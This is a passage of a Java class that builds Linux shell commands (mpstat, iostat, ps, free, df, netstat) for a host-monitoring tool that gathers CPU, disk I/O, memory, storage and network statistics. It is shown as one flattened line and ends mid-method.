import data.Host; import java.net.InetAddress; import java.net.UnknownHostException; public class DCMCommandLibraryLinux { private Host host; private String command = ""; private InetAddress inetAddress; private String dcmServerIP; private String mpstatDataFile; private String iostatDataFile; private String psCPUFile; private String psMEMFile; private final String OS = "Linux"; private final int AWK = 0; private final int BC = 1; private final int DF = 2; private final int ECHO = 3; private final int EGREP = 4; private final int FREE = 5; private final int GREP = 6; private final int HEAD = 7; private final int IOSTAT = 8; private final int MPSTAT = 9; private final int NETSTAT = 10; private final int PS = 11; private final int SED = 12; private final int SORT = 13; private final int TAIL = 14; private final int TR = 15; private final int W = 16; private final int WC = 17; private final int WHO = 18; private static String[][] cmdArray; public DCMCommandLibraryLinux(Host hostParam) throws UnknownHostException { host = hostParam; try { inetAddress = InetAddress.getLocalHost(); } catch (UnknownHostException ex) { } dcmServerIP = inetAddress.getHostAddress(); mpstatDataFile = ".dcmmpstat_" + dcmServerIP + "_" + host.getHostname() + ".dat"; iostatDataFile = ".dcmiostat_" + dcmServerIP + "_" + host.getHostname() + ".dat"; psCPUFile = ".dcmpscpu_" + dcmServerIP + "_" + host.getHostname() + ".dat"; psMEMFile = ".dcmpsmem_" + dcmServerIP + "_" + host.getHostname() + ".dat"; cmdArray = new String[19][4]; cmdArray[AWK][0] = Integer.toString(AWK); cmdArray[AWK][1] = "awk"; cmdArray[AWK][2] = OS + " install media"; cmdArray[AWK][3] = "binary " + cmdArray[AWK][1] + " not found, please set PATH or install from " + cmdArray[AWK][2]; cmdArray[BC][0] = Integer.toString(BC); cmdArray[BC][1] = "bc"; cmdArray[BC][2] = OS + " install media"; cmdArray[BC][3] = "binary " + cmdArray[BC][1] + " not found, please set PATH or install from " + cmdArray[BC][2]; cmdArray[DF][0] = Integer.toString(DF); cmdArray[DF][1] = "df"; cmdArray[DF][2] = OS + " install media"; cmdArray[DF][3] = "binary " + cmdArray[DF][1] + " not found, please set PATH or install from " + cmdArray[DF][2]; cmdArray[ECHO][0] = Integer.toString(ECHO); cmdArray[ECHO][1] = "echo"; cmdArray[ECHO][2] = OS + " install media"; cmdArray[ECHO][3] = "binary " + cmdArray[ECHO][1] + " not found, please set PATH or install from " + cmdArray[ECHO][2]; cmdArray[EGREP][0] = Integer.toString(EGREP); cmdArray[EGREP][1] = "egrep"; cmdArray[EGREP][2] = OS + " install media"; cmdArray[EGREP][3] = "binary " + cmdArray[EGREP][1] + " not found, please set PATH or install from " + cmdArray[EGREP][2]; cmdArray[FREE][0] = Integer.toString(FREE); cmdArray[FREE][1] = "free"; cmdArray[FREE][2] = OS + " install media"; cmdArray[FREE][3] = "binary " + cmdArray[FREE][1] + " not found, please set PATH or install from " + cmdArray[FREE][2]; cmdArray[GREP][0] = Integer.toString(GREP); cmdArray[GREP][1] = "grep"; cmdArray[GREP][2] = OS + " install media"; cmdArray[GREP][3] = "binary " + cmdArray[GREP][1] + " not found, please set PATH or install from " + cmdArray[GREP][2]; cmdArray[HEAD][0] = Integer.toString(HEAD); cmdArray[HEAD][1] = "head"; cmdArray[HEAD][2] = OS + " install media"; cmdArray[HEAD][3] = "binary " + cmdArray[HEAD][1] + " not found, please set PATH or install from " + cmdArray[HEAD][2]; cmdArray[IOSTAT][0] = Integer.toString(IOSTAT); cmdArray[IOSTAT][1] = "iostat"; cmdArray[IOSTAT][2] = OS + " install media sysstat package"; cmdArray[IOSTAT][3] = "binary " + cmdArray[IOSTAT][1] + " not found, please set PATH or install from " + cmdArray[IOSTAT][2]; cmdArray[MPSTAT][0] = Integer.toString(MPSTAT); cmdArray[MPSTAT][1] = "mpstat"; cmdArray[MPSTAT][2] = OS + " install media sysstat package"; cmdArray[MPSTAT][3] = "binary " + cmdArray[MPSTAT][1] + " not found, please set PATH or install from " + cmdArray[MPSTAT][2]; cmdArray[NETSTAT][0] = Integer.toString(NETSTAT); cmdArray[NETSTAT][1] = "netstat"; cmdArray[NETSTAT][2] = OS + " install media"; cmdArray[NETSTAT][3] = "binary " + cmdArray[NETSTAT][1] + " not found, please set PATH or install from " + cmdArray[NETSTAT][2]; cmdArray[PS][0] = Integer.toString(PS); cmdArray[PS][1] = "ps"; cmdArray[PS][2] = OS + " install media"; cmdArray[PS][3] = "binary " + cmdArray[PS][1] + " not found, please set PATH or install from " + cmdArray[PS][2]; cmdArray[SED][0] = Integer.toString(SED); cmdArray[SED][1] = "sed"; cmdArray[SED][2] = OS + " install media"; cmdArray[SED][3] = "binary " + cmdArray[SED][1] + " not found, please set PATH or install from " + cmdArray[SED][2]; cmdArray[SORT][0] = Integer.toString(SORT); cmdArray[SORT][1] = "sort"; cmdArray[SORT][2] = OS + " install media"; cmdArray[SORT][3] = "binary " + cmdArray[SORT][1] + " not found, please set PATH or install from " + cmdArray[SORT][2]; cmdArray[TAIL][0] = Integer.toString(TAIL); cmdArray[TAIL][1] = "tail"; cmdArray[TAIL][2] = OS + " install media"; cmdArray[TAIL][3] = "binary " + cmdArray[TAIL][1] + " not found, please set PATH or install from " + cmdArray[TAIL][2]; cmdArray[TR][0] = Integer.toString(TR); cmdArray[TR][1] = "tr"; cmdArray[TR][2] = OS + " install media"; cmdArray[TR][3] = "binary " + cmdArray[TR][1] + " not found, please set PATH or install from " + cmdArray[TR][2]; cmdArray[W][0] = Integer.toString(W); cmdArray[W][1] = "w"; cmdArray[W][2] = OS + " install media"; cmdArray[W][3] = "binary " + cmdArray[W][1] + " not found, please set PATH or install from " + cmdArray[W][2]; cmdArray[WC][0] = Integer.toString(WC); cmdArray[WC][1] = "wc"; cmdArray[WC][2] = OS + " install media"; cmdArray[WC][3] = "binary " + cmdArray[WC][1] + " not found, please set PATH or install from " + cmdArray[WC][2]; cmdArray[WHO][0] = Integer.toString(WHO); cmdArray[WHO][1] = "who"; cmdArray[WHO][2] = OS + " install media"; cmdArray[WHO][3] = "binary " + cmdArray[WHO][1] + " not found, please set PATH or install from " + cmdArray[WHO][2]; } // PS public String getPSCPUHostCommand() { if (host.getSysinfo().contains(OS)) { command = cmdArray[PS][1] + " -e -o pid,pcpu,comm | " + cmdArray[GREP][1] + " -iv \"pid\" | " + cmdArray[SORT][1] + " -k 2nr > " + psCPUFile + " \n"; } return command; } public String getPSMEMHostCommand() { if (host.getSysinfo().contains(OS)) { command = cmdArray[PS][1] + " -e -o pid,pmem,comm | " + cmdArray[GREP][1] + " -iv \"pid\" | " + cmdArray[SORT][1] + " -k 2nr > " + psMEMFile + " \n"; } return command; } // CPU // mpstat -P ALL 1 1 | " + cmdArray[TAIL][1] + " -`" + cmdArray[MPSTAT][1] + " -P ALL | " + cmdArray[EGREP][1] + " -vie "^$|CPU" | " + cmdArray[WC][1] + " -l` public String getCPUHostCommand() // This a HOST Command { // if (host.getSysinfo().contains(OS)) { command = cmdArray[MPSTAT][1] + " -P ALL 50 1 | " + cmdArray[TAIL][1] + " -`" + cmdArray[MPSTAT][1] + " -P ALL | " + cmdArray[EGREP][1] + " -vie \"^$|CPU\" | " + cmdArray[WC][1] + " -l` > " + mpstatDataFile + " & \n"; } return command; if (host.getSysinfo().contains(OS)) { command = cmdArray[MPSTAT][1] + " -P ALL 50 1 > " + mpstatDataFile + " & \n"; } return command; } public String getCPUUSERCommand(String resourceParam)// usr nice sys idle { // if (host.getSysinfo().contains(OS)) { command = cmdArray[MPSTAT][1] + " -P " + resourceParam.toUpperCase() + " 50 1 | " + cmdArray[EGREP][1] + " -v \"CPU|^$\" | " + cmdArray[EGREP][1] + " -ie \"" + resourceParam + "\" | " + cmdArray[AWK][1] + " '{ print $3 }' | " + cmdArray[AWK][1] + " -F\"[.,]\" '{ print $1\".\"$2 }'"; } return command; if (host.getSysinfo().contains(OS)) { command = cmdArray[EGREP][1] + " -ie \"^.+:\\s+" + resourceParam + " +\" " + mpstatDataFile + " | " + cmdArray[HEAD][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $3 }' | " + cmdArray[SED][1] + " -e 's/,/./' -e 's/[^0-9.]//' -e 's/\\.$//'"; } return command; } public String getCPUSYSCommand(String resourceParam) { // if (host.getSysinfo().contains(OS)) { command = cmdArray[MPSTAT][1] + " -P " + resourceParam.toUpperCase() + " 50 1 | " + cmdArray[EGREP][1] + " -v \"CPU|^$\" | " + cmdArray[EGREP][1] + " -ie \"" + resourceParam + "\" | " + cmdArray[AWK][1] + " '{ print $5 }' | " + cmdArray[AWK][1] + " -F\"[.,]\" '{ print $1\".\"$2 }'"; } return command; if (host.getSysinfo().contains(OS)) { command = cmdArray[EGREP][1] + " -ie \"^.+:\\s+" + resourceParam + " +\" " + mpstatDataFile + " | " + cmdArray[HEAD][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $5 }' | " + cmdArray[SED][1] + " -e 's/,/./' -e 's/[^0-9.]//' -e 's/\\.$//'"; } return command; } public String getCPUIDLECommand(String resourceParam) { // if (host.getSysinfo().contains(OS)) { command = cmdArray[MPSTAT][1] + " -P " + resourceParam.toUpperCase() + " 50 1 | " + cmdArray[EGREP][1] + " -v \"CPU|^$\" | " + cmdArray[EGREP][1] + " -ie \"" + resourceParam + "\" | " + cmdArray[AWK][1] + " '{ print $11 }' | " + cmdArray[AWK][1] + " -F\"[.,]\" '{ print $1\".\"$2 }'"; } return command; if (host.getSysinfo().contains(OS)) { command = cmdArray[EGREP][1] + " -ie \"^.+:\\s+" + resourceParam + " +\" " + mpstatDataFile + " | " + cmdArray[HEAD][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $11 }' | " + cmdArray[SED][1] + " -e 's/,/./' -e 's/[^0-9.]//' -e 's/\\.$//'"; } return command; } public String getCPUWIOCommand(String resourceParam) { // if (host.getSysinfo().contains(OS)) { command = cmdArray[MPSTAT][1] + " -P " + resourceParam.toUpperCase() + " 50 1 | " + cmdArray[EGREP][1] + " -v \"CPU|^$\" | " + cmdArray[EGREP][1] + " -ie \"" + resourceParam + "\" | " + cmdArray[AWK][1] + " '{ print $6 }' | " + cmdArray[AWK][1] + " -F\"[.,]\" '{ print $1\".\"$2 }'"; } return command; if (host.getSysinfo().contains(OS)) { command = cmdArray[EGREP][1] + " -ie \"^.+:\\s+" + resourceParam + " +\" " + mpstatDataFile + " | " + cmdArray[HEAD][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $6 }' | " + cmdArray[SED][1] + " -e 's/,/./' -e 's/[^0-9.]//' -e 's/\\.$//'"; } return command; } // WORKLOAD public String getWorkload() { if (host.getSysinfo().contains(OS)) { command = cmdArray[W][1] + " | " + cmdArray[GREP][1] + " -i \"average\" | " + cmdArray[AWK][1] + " '{ print $10 }' | " + cmdArray[SED][1] + " -e 's/,/./' -e 's/[^0-9.]//' -e 's/\\.$//'"; } return command; } // DiskIO public String getDiskIOHostCommand() // This a HOST Command { // if (host.getSysinfo().contains(OS)) { command = cmdArray[IOSTAT][1] + " -x -d 50 2 | " + cmdArray[EGREP][1] + " -vie \"^$|Device|Linux\" | " + cmdArray[TAIL][1] + " -`iostat -x -d | " + cmdArray[EGREP][1] + " -vie \"^$|Device|Linux\" | " + cmdArray[WC][1] + " -l` > " + iostatDataFile + " & \n"; } return command; if (host.getSysinfo().contains(OS)) { command = cmdArray[IOSTAT][1] + " -x -d 50 2 > " + iostatDataFile + " & \n"; } return command; } public String getDiskIOReadsPerSecondQuedCommand(String resourceParam) { // if (host.getSysinfo().contains(OS)) { command = cmdArray[IOSTAT][1] + " -xk " + resourceParam + " 1 2 | " + cmdArray[GREP][1] + " " + resourceParam + " | " + cmdArray[TAIL][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $2 }'"; } return command; if (host.getSysinfo().contains(OS)) { command = cmdArray[EGREP][1] + " -ie \"^ *" + resourceParam + " +\" " + iostatDataFile + " | " + cmdArray[TAIL][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $2 }' | " + cmdArray[SED][1] + " -e 's/,/./' -e 's/[^0-9.]//' -e 's/\\.$//'"; } return command; } public String getDiskIOWritesPerSecondQuedCommand(String resourceParam) { // if (host.getSysinfo().contains(OS)) { command = cmdArray[IOSTAT][1] + " -xk " + resourceParam + " 1 2 | " + cmdArray[GREP][1] + " " + resourceParam + " | " + cmdArray[TAIL][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $3 }'"; } return command; if (host.getSysinfo().contains(OS)) { command = cmdArray[EGREP][1] + " -ie \"^ *" + resourceParam + " +\" " + iostatDataFile + " | " + cmdArray[TAIL][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $3 }' | " + cmdArray[SED][1] + " -e 's/,/./' -e 's/[^0-9.]//' -e 's/\\.$//'"; } return command; } public String getDiskIOReadPerSecondCommand(String resourceParam) { // if (host.getSysinfo().contains(OS)) { command = cmdArray[IOSTAT][1] + " -xk " + resourceParam + " 1 2 | " + cmdArray[GREP][1] + " " + resourceParam + " | " + cmdArray[TAIL][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $4 }'"; } return command; if (host.getSysinfo().contains(OS)) { command = cmdArray[EGREP][1] + " -ie \"^ *" + resourceParam + " +\" " + iostatDataFile + " | " + cmdArray[TAIL][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $4 }' | " + cmdArray[SED][1] + " -e 's/,/./' -e 's/[^0-9.]//' -e 's/\\.$//'"; } return command; } public String getDiskIOWritesPerSecondCommand(String resourceParam) { // if (host.getSysinfo().contains(OS)) { command = cmdArray[IOSTAT][1] + " -xk " + resourceParam + " 1 2 | " + cmdArray[GREP][1] + " " + resourceParam + " | " + cmdArray[TAIL][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $5 }'"; } return command; if (host.getSysinfo().contains(OS)) { command = cmdArray[EGREP][1] + " -ie \"^ *" + resourceParam + " +\" " + iostatDataFile + " | " + cmdArray[TAIL][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $5 }' | " + cmdArray[SED][1] + " -e 's/,/./' -e 's/[^0-9.]//' -e 's/\\.$//'"; } return command; } public String getDiskIOKBReadPerSecondCommand(String resourceParam) { // if (host.getSysinfo().contains(OS)) { command = cmdArray[IOSTAT][1] + " -xk " + resourceParam + " 1 2 | " + cmdArray[GREP][1] + " " + resourceParam + " | " + cmdArray[TAIL][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $6 }'"; } return command; if (host.getSysinfo().contains(OS)) { command = cmdArray[EGREP][1] + " -ie \"^ *" + resourceParam + " +\" " + iostatDataFile + " | " + cmdArray[TAIL][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $6 }' | " + cmdArray[SED][1] + " -e 's/,/./' -e 's/[^0-9.]//' -e 's/\\.$//'"; } return command; } public String getDiskIOKBWritesPerSecondCommand(String resourceParam) { // if (host.getSysinfo().contains(OS)) { command = cmdArray[IOSTAT][1] + " -xk " + resourceParam + " 1 2 | " + cmdArray[GREP][1] + " " + resourceParam + " | " + cmdArray[TAIL][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $7 }'"; } return command; if (host.getSysinfo().contains(OS)) { command = cmdArray[EGREP][1] + " -ie \"^ *" + resourceParam + " +\" " + iostatDataFile + " | " + cmdArray[TAIL][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $7 }' | " + cmdArray[SED][1] + " -e 's/,/./' -e 's/[^0-9.]//' -e 's/\\.$//'"; } return command; } public String getDiskIOAverageTranscationSectorsCommand(String resourceParam) { // if (host.getSysinfo().contains(OS)) { command = cmdArray[IOSTAT][1] + " -xk " + resourceParam + " 1 2 | " + cmdArray[GREP][1] + " " + resourceParam + " | " + cmdArray[TAIL][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $8 }'"; } return command; if (host.getSysinfo().contains(OS)) { command = cmdArray[EGREP][1] + " -ie \"^ *" + resourceParam + " +\" " + iostatDataFile + " | " + cmdArray[TAIL][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $8 }' | " + cmdArray[SED][1] + " -e 's/,/./' -e 's/[^0-9.]//' -e 's/\\.$//'"; } return command; } public String getDiskIOAverageQueueLengthCommand(String resourceParam) { // if (host.getSysinfo().contains(OS)) { command = cmdArray[IOSTAT][1] + " -xk " + resourceParam + " 1 2 | " + cmdArray[GREP][1] + " " + resourceParam + " | " + cmdArray[TAIL][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $9 }'"; } return command; if (host.getSysinfo().contains(OS)) { command = cmdArray[EGREP][1] + " -ie \"^ *" + resourceParam + " +\" " + iostatDataFile + " | " + cmdArray[TAIL][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $9 }' | " + cmdArray[SED][1] + " -e 's/,/./' -e 's/[^0-9.]//' -e 's/\\.$//'"; } return command; } public String getDiskIOAverageTranscationResponseTimeMiliSecondsCommand(String resourceParam) { // if (host.getSysinfo().contains(OS)) { command = cmdArray[IOSTAT][1] + " -xk " + resourceParam + " 1 2 | " + cmdArray[GREP][1] + " " + resourceParam + " | " + cmdArray[TAIL][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $10 }'"; } return command; if (host.getSysinfo().contains(OS)) { command = cmdArray[EGREP][1] + " -ie \"^ *" + resourceParam + " +\" " + iostatDataFile + " | " + cmdArray[TAIL][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $10 }' | " + cmdArray[SED][1] + " -e 's/,/./' -e 's/[^0-9.]//' -e 's/\\.$//'"; } return command; } public String getDiskIOAverageTranscationServiceTimeMiliSecondsCommand(String resourceParam) { // if (host.getSysinfo().contains(OS)) { command = cmdArray[IOSTAT][1] + " -xk " + resourceParam + " 1 2 | " + cmdArray[GREP][1] + " " + resourceParam + " | " + cmdArray[TAIL][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $11 }'"; } return command; if (host.getSysinfo().contains(OS)) { command = cmdArray[EGREP][1] + " -ie \"^ *" + resourceParam + " +\" " + iostatDataFile + " | " + cmdArray[TAIL][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $11 }' | " + cmdArray[SED][1] + " -e 's/,/./' -e 's/[^0-9.]//' -e 's/\\.$//'"; } return command; } public String getDiskIOTransactionCPUUtilizationPercentageCommand(String resourceParam) { // if (host.getSysinfo().contains(OS)) { command = cmdArray[IOSTAT][1] + " -xk " + resourceParam + " 1 2 | " + cmdArray[GREP][1] + " " + resourceParam + " | " + cmdArray[TAIL][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $12 }'"; } return command; if (host.getSysinfo().contains(OS)) { command = cmdArray[EGREP][1] + " -ie \"^ *" + resourceParam + " +\" " + iostatDataFile + " | " + cmdArray[TAIL][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $12 }' | " + cmdArray[SED][1] + " -e 's/,/./' -e 's/[^0-9.]//' -e 's/\\.$//'"; } return command; } // Memory public String getRAMTOTCommand(Host hostParam) { if (host.getSysinfo().contains(OS)) { command = cmdArray[FREE][1] + " -m | " + cmdArray[GREP][1] + " Mem | " + cmdArray[AWK][1] + " '{ print $2 }'"; } return command; } public String getRAMUSEDCommand(Host hostParam) { if (host.getSysinfo().contains(OS)) { command = cmdArray[FREE][1] + " -m | " + cmdArray[GREP][1] + " 'buffers/cache' | " + cmdArray[AWK][1] + " '{ print $3 }'"; } return command; } public String getRAMFREECommand(Host hostParam) { if (host.getSysinfo().contains(OS)) { command = cmdArray[FREE][1] + " -m | " + cmdArray[GREP][1] + " 'buffers/cache' | " + cmdArray[AWK][1] + " '{ print $4 }'"; } return command; } public String getSWAPTOTCommand(Host hostParam) { if (host.getSysinfo().contains(OS)) { command = cmdArray[FREE][1] + " -m | " + cmdArray[GREP][1] + " Swap | " + cmdArray[AWK][1] + " '{ print $2 }'"; } return command; } public String getSWAPUSEDCommand(Host hostParam) { if (host.getSysinfo().contains(OS)) { command = cmdArray[FREE][1] + " -m | " + cmdArray[GREP][1] + " Swap | " + cmdArray[AWK][1] + " '{ print $3 }'"; } return command; } public String getSWAPFREECommand(Host hostParam) { if (host.getSysinfo().contains(OS)) { command = cmdArray[FREE][1] + " -m | " + cmdArray[GREP][1] + " Swap | " + cmdArray[AWK][1] + " '{ print $4 }'"; } return command; } public String getTOTMEMCommand(Host hostParam) { // if (host.getSysinfo().contains(OS)) { command = "ramtot=`free -m | " + cmdArray[GREP][1] + " Mem | " + cmdArray[AWK][1] + " '{ print $2 }'`; swaptot=`free -m | " + cmdArray[GREP][1] + " Swap | " + cmdArray[AWK][1] + " '{ print $2 }'` totmem=$((ramtot + swaptot)); " + cmdArray[ECHO][1] + " $totmem"; } if (host.getSysinfo().contains(OS)) { command = "ramtot=`free -m | " + cmdArray[GREP][1] + " Mem | " + cmdArray[AWK][1] + " '{ print $2 }'`; swaptot=`free -m | " + cmdArray[GREP][1] + " Swap | " + cmdArray[AWK][1] + " '{ print $2 }'` totmem=`" + cmdArray[ECHO][1] + " \"$ramtot + $swaptot\" | " + cmdArray[BC][1] + "`; " + cmdArray[ECHO][1] + " $totmem"; } return command; } public String getTOTUSEDCommand(Host hostParam) { // if (host.getSysinfo().contains(OS)) { command = "ramused=`free -m | " + cmdArray[GREP][1] + " \"buffers/cache\" | " + cmdArray[AWK][1] + " '{ print $3 }'`; swapused=`free -m | " + cmdArray[GREP][1] + " Swap | " + cmdArray[AWK][1] + " '{ print $3 }'`; totused=$(( ramused + swapused )); " + cmdArray[ECHO][1] + " $totused"; } if (host.getSysinfo().contains(OS)) { command = "ramused=`free -m | " + cmdArray[GREP][1] + " \"buffers/cache\" | " + cmdArray[AWK][1] + " '{ print $3 }'`; swapused=`free -m | " + cmdArray[GREP][1] + " Swap | " + cmdArray[AWK][1] + " '{ print $3 }'`; totused=`" + cmdArray[ECHO][1] + " \"$ramused + $swapused\" | " + cmdArray[BC][1] + "`; " + cmdArray[ECHO][1] + " $totused"; } return command; } public String getTOTFREECommand(Host hostParam) { // if (host.getSysinfo().contains(OS)) { command = "ramfree=`free -m | " + cmdArray[GREP][1] + " \"buffers/cache\" | " + cmdArray[AWK][1] + " '{ print $4 }'`; swapfree=`free -m | " + cmdArray[GREP][1] + " Swap | " + cmdArray[AWK][1] + " '{ print $4 }'` totfree=$((ramfree + swapfree)); " + cmdArray[ECHO][1] + " $totfree"; } if (host.getSysinfo().contains(OS)) { command = "ramfree=`free -m | " + cmdArray[GREP][1] + " \"buffers/cache\" | " + cmdArray[AWK][1] + " '{ print $4 }'`; swapfree=`free -m | " + cmdArray[GREP][1] + " Swap | " + cmdArray[AWK][1] + " '{ print $4 }'` totfree=`" + cmdArray[ECHO][1] + " \"$ramfree + $swapfree\" | " + cmdArray[BC][1] + "`; " + cmdArray[ECHO][1] + " $totfree"; } return command; } // Storage public String getFSTOTCommand(String resourceParam) { if (host.getSysinfo().contains(OS)) { command = cmdArray[DF][1] + " -mP " + resourceParam + " | " + cmdArray[AWK][1] + " '{ print $2 }' | " + cmdArray[TAIL][1] + " -1"; } return command; } public String getFSUSEDCommand(String resourceParam) { if (host.getSysinfo().contains(OS)) { command = cmdArray[DF][1] + " -mP " + resourceParam + " | " + cmdArray[AWK][1] + " '{ print $3 }' | " + cmdArray[TAIL][1] + " -1"; } return command; } public String getFSFREECommand(String resourceParam) { if (host.getSysinfo().contains(OS)) { command = cmdArray[DF][1] + " -mP " + resourceParam + " | " + cmdArray[AWK][1] + " '{ print $4 }' | " + cmdArray[TAIL][1] + " -1"; } return command; } public String getFSUSEDPercCommand(String resourceParam) { if (host.getSysinfo().contains(OS)) { command = cmdArray[DF][1] + " -mP " + resourceParam + " | " + cmdArray[AWK][1] + " '{ print $5 }' | " + cmdArray[TAIL][1] + " -1 | " + cmdArray[TR][1] + " -d \"%\""; } return command; } // Network ethtool requires superuer unfortunately //Iface MTU Met RX-OK RX-ERR RX-DRP RX-OVR TX-OK TX-ERR TX-DRP TX-OVR Flg public String getIF_RX_OK_Command(String resourceParam) { // if (host.getSysinfo().contains(OS)) { command = "/sbin/ethtool -S " + resourceParam + " | " + cmdArray[GREP][1] + " tx_bytes | " + cmdArray[AWK][1] + " '{ print $2 }'"; } return command; if (host.getSysinfo().contains(OS)) { command = cmdArray[NETSTAT][1] + " -i | " + cmdArray[GREP][1] + " \"" + resourceParam + "\" | " + cmdArray[AWK][1] + " '{ print $4 }'"; } return command; } public String getIF_RX_ERR_Command(String resourceParam) { // if (host.getSysinfo().contains(OS)) { command = "/sbin/ethtool -S " + resourceParam + " | " + cmdArray[GREP][1] + " rx_bytes | " + cmdArray[AWK][1] + " '{ print $2 }'"; } return command; if (host.getSysinfo().contains(OS)) { command = cmdArray[NETSTAT][1] + " -i | " + cmdArray[GREP][1] + " \"" + resourceParam + "\" | " + cmdArray[AWK][1] + " '{ print $5 }'"; } return command; } public String getIF_RX_Drop_Command(String resourceParam) { // if (host.getSysinfo().contains(OS)) { command = "/sbin/ethtool -S " + resourceParam + " | " + cmdArray[GREP][1] + " tx_errors_total | " + cmdArray[AWK][1] + " '{ print $2 }'"; } return command; if (host.getSysinfo().contains(OS)) { command = cmdArray[NETSTAT][1] + " -i | " + cmdArray[GREP][1] + " \"" + resourceParam + "\" | " + cmdArray[AWK][1] + " '{ print $6 }'"; } return command; } public String getIF_RX_OVR_Command(String resourceParam) { // if (host.getSysinfo().contains(OS)) { command = "/sbin/ethtool -S " + resourceParam + " | " + cmdArray[GREP][1] + " rx_errors_total | " + cmdArray[AWK][1] + " '{ print $2 }'"; } return command; if (host.getSysinfo().contains(OS)) { command = cmdArray[NETSTAT][1] + " -i | " + cmdArray[GREP][1] + " \"" + resourceParam + "\" | " + cmdArray[AWK][1] + " '{ print $7 }'"; } return command; } public String getIF_TX_OK_Command(String resourceParam) { // if (host.getSysinfo().contains(OS)) { command = "/sbin/ethtool -S " + resourceParam + " | " + cmdArray[GREP][1] + " tx_bytes | " + cmdArray[AWK][1] + " '{ print $2 }'"; } return command; if (host.getSysinfo().contains(OS)) { command = cmdArray[NETSTAT][1] + " -i | " + cmdArray[GREP][1] + " \"" + resourceParam + "\" | " + cmdArray[AWK][1] + " '{ print $8 }'"; } return command; } public String getIF_TX_ERR_Command(String resourceParam) { // if (host.getSysinfo().contains(OS)) { command = "/sbin/ethtool -S " + resourceParam + " | " + cmdArray[GREP][1] + " rx_bytes | " + cmdArray[AWK][1] + " '{ print $2 }'"; } return command; if (host.getSysinfo().contains(OS)) { command = cmdArray[NETSTAT][1] + " -i | " + cmdArray[GREP][1] + " \"" + resourceParam + "\" | " + cmdArray[AWK][1] + " '{ print $9 }'"; } return command; } public String getIF_TX_Drop_Command(String resourceParam) { // if (host.getSysinfo().contains(OS)) { command = "/sbin/ethtool -S " + resourceParam + " | " + cmdArray[GREP][1] + " tx_errors_total | " + cmdArray[AWK][1] + " '{ print $2 }'"; } return command; if (host.getSysinfo().contains(OS)) { command = cmdArray[NETSTAT][1] + " -i | " + cmdArray[GREP][1] + " \"" + resourceParam + "\" | " + cmdArray[AWK][1] + " '{ print $10 }'"; } return command; } public String getIF_TX_OVR_Command(String resourceParam) { // if (host.getSysinfo().contains(OS)) { command = "/sbin/ethtool -S " + resourceParam + " | " + cmdArray[GREP][1] + " rx_errors_total | " + cmdArray[AWK][1] + " '{ print $2 }'"; } return command; if (host.getSysinfo().contains(OS)) { command = cmdArray[NETSTAT][1] + " -i | " + cmdArray[GREP][1] + " \"" + resourceParam + "\" | " + cmdArray[AWK][1] + " '{ print $11 }'"; } return command; } // Network public String getTCPSTATESTABLISHEDCommand(Host hostParam) { if (host.getSysinfo().contains(OS)) { command = cmdArray[NETSTAT][1] + " -an | " + cmdArray[EGREP][1] + " -ie \"tcp.+ESTABLISHED\" | " + cmdArray[WC][1] + " -l | " + cmdArray[AWK][1] + " '{ print $1 }'"; } return command; } public String getTCPSTATSYN_SENTCommand(Host hostParam) { if (host.getSysinfo().contains(OS)) { command = cmdArray[NETSTAT][1] + " -an | " + cmdArray[EGREP][1] + " -ie \"tcp.+SYN_SENT\" | " + cmdArray[WC][1] + " -l | " + cmdArray[AWK][1] + " '{ print $1 }'"; } return command; } public String getTCPSTATSYN_RECVCommand(Host hostParam) { if (host.getSysinfo().contains(OS)) { command = cmdArray[NETSTAT][1] + " -an | " + cmdArray[EGREP][1] + " -ie \"tcp.+SYN_RECV\" | " + cmdArray[WC][1] + " -l | " + cmdArray[AWK][1] + " '{ print $1 }'"; } return command; } public String getTCPSTATFIN_WAIT1Command(Host hostParam) { if (host.getSysinfo().contains(OS)) { command = cmdArray[NETSTAT][1] + " -an | " + cmdArray[EGREP][1] + " -ie \"tcp.+FIN_WAIT1\" | " + cmdArray[WC][1] + " -l | " + cmdArray[AWK][1] + " '{ print $1 }'"; } return command; } public String getTCPSTATFIN_WAIT2Command(Host hostParam) { if (host.getSysinfo().contains(OS)) { command = cmdArray[NETSTAT][1] + " -an | " + cmdArray[EGREP][1] + " -ie \"tcp.+FIN_WAIT2\" | " + cmdArray[WC][1] + " -l | " + cmdArray[AWK][1] + " '{ print $1 }'"; } return command; } public String getTCPSTATTIME_WAITCommand(Host hostParam) { if (host.getSysinfo().contains(OS)) { command = cmdArray[NETSTAT][1] + " -an | " + cmdArray[EGREP][1] + " -ie \"tcp.+TIME_WAIT\" | " + cmdArray[WC][1] + " -l | " + cmdArray[AWK][1] + " '{ print $1 }'"; } return command; } public String getTCPSTATCLOSEDCommand(Host hostParam) { if (host.getSysinfo().contains(OS)) { command = cmdArray[NETSTAT][1] + " -an | " + cmdArray[EGREP][1] + " -ie \"tcp.+CLOSED\" | " + cmdArray[WC][1] + " -l | " + cmdArray[AWK][1] + " '{ print $1 }'"; } return command; } public String getTCPSTATCLOSE_WAITCommand(Host hostParam) { if (host.getSysinfo().contains(OS)) { command = cmdArray[NETSTAT][1] + " -an | " + cmdArray[EGREP][1] + " -ie \"tcp.+CLOSE_WAIT\" | " + cmdArray[WC][1] + " -l | " + cmdArray[AWK][1] + " '{ print $1 }'"; } return command; } public String getTCPSTATLAST_ACKCommand(Host hostParam) { if 